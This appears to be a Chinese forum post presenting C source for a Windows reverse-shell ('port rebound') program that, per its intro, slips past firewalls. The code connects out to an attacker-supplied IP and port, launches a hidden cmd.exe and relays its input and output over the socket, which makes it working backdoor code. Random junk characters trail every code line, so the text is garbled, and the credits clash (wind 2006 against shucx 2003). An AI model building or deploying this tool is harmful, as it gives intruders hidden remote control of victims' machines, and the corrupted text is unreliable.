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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B/X$ZQ0  
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/* ============================== *VsGa<V  
Rebound port in Windows NT ,h=a+ja8  
By wind,2006/7 ,^bgk -x-  
===============================*/ :2lpl%/  
#include <M9NyD`  
#include ?22U0UF  
s AFn.W  
#pragma comment(lib,"wsock32.lib") :uo)-9_  
=`x }9|[  
void OutputShell(); /mwUDf6x  
SOCKET sClient; :]:)c8!6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iw#~xel<ez  
!h1:AW_iz  
void main(int argc,char **argv) Bq$IBAot  
{ f?d5Ltg   
WSADATA stWsaData; =]%,&Se  
int nRet; /KvJjt'8  
SOCKADDR_IN stSaiClient,stSaiServer; _Q:z -si  
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if(argc != 3) brp3xgQ`]  
{ DpggZ|J  
printf("Useage:\n\rRebound DestIP DestPort\n"); )bM,>x  
return; KBM*7raA  
} N3$1f$`  
3li$)S1z  
WSAStartup(MAKEWORD(2,2),&stWsaData); CUJq [  
6y!U68L;B  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~!ooIwNNz  
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stSaiClient.sin_family = AF_INET; NsI.mTc2  
stSaiClient.sin_port = htons(0); D\M"bf>q1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NzAh3k  
$'KQP8M+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c:7V..   
{ Dtd~}-_Q  
printf("Bind Socket Failed!\n"); 6):1U  
return; N!ihj:,  
} LEM%B??&5z  
?98!2:'{9  
stSaiServer.sin_family = AF_INET;  2d*bF.  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g8cBb5(L  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); MWme3u)D  
%}(` ?  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) JPn)Op6  
{ LxIGPC~  
printf("Connect Error!"); 3w)r""C&  
return; (s&:D`e  
} I?Iz5e-  
OutputShell(); ?L\"qz%gP  
} 6=n|Ha  
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void OutputShell()  @_f^AQ  
{ s! 2[zJ19p  
char szBuff[1024]; hZfj$|<  
SECURITY_ATTRIBUTES stSecurityAttributes; ]y.V#,6e  
OSVERSIONINFO stOsversionInfo; (o*YGYC  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7d R?70Sz  
STARTUPINFO stStartupInfo; d4ecF%R  
char *szShell; w:lj4Z_  
PROCESS_INFORMATION stProcessInformation; ^vMlRt;  
unsigned long lBytesRead; T#Q7L~?zY  
y?a71b8m  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yZ{yzv'D&  
s .p> ?U  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7LU^Xm8  
stSecurityAttributes.lpSecurityDescriptor = 0; $M)SsD~  
stSecurityAttributes.bInheritHandle = TRUE; W:8MqVm34  
)T"Aji-hy  
nQQHm6N  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~-Kx^3(#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2b7-=/[6  
9;Z{++z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1q(Qr h  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .^*;hZ~4%  
stStartupInfo.wShowWindow = SW_HIDE; B!pz0K*uG  
stStartupInfo.hStdInput = hReadPipe; zYV{ |Z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 61Cc? a*_  
/i8OyRpSyk  
GetVersionEx(&stOsversionInfo); r'Wf4p^Xd  
3" m]A/6C}  
switch(stOsversionInfo.dwPlatformId) WYb}SI(E  
{ }Q4Vy  
case 1: ?|kbIZP(  
szShell = "command.com"; @*|VWHR  
break; g;=VuQuP|  
default: xI{fd1  
szShell = "cmd.exe"; R_B0CM<!  
break; o)XrC   
} !.,J;Qt  
M>Q ZN  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gdeM,A|  
D&F{0  
send(sClient,szMsg,77,0); N#Rb8&G)b  
while(1) EA(4xj&:U  
{ rl 7up  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7P2n{zd,  
if(lBytesRead) F/ZFO5C%  
{ |P]W#~Y-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }O7sP^  
send(sClient,szBuff,lBytesRead,0); )Xg5=zn$  
} UH-873AK  
else rmzzbLTu  
{ ya1 aWs~  
lBytesRead=recv(sClient,szBuff,1024,0); (9RfsV4^  
if(lBytesRead<=0) break; 7:olStK  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,93Uji[l  
} LUD .  
} qr4 lr!#t  
_|["}M"?  
return; ss%,  
}
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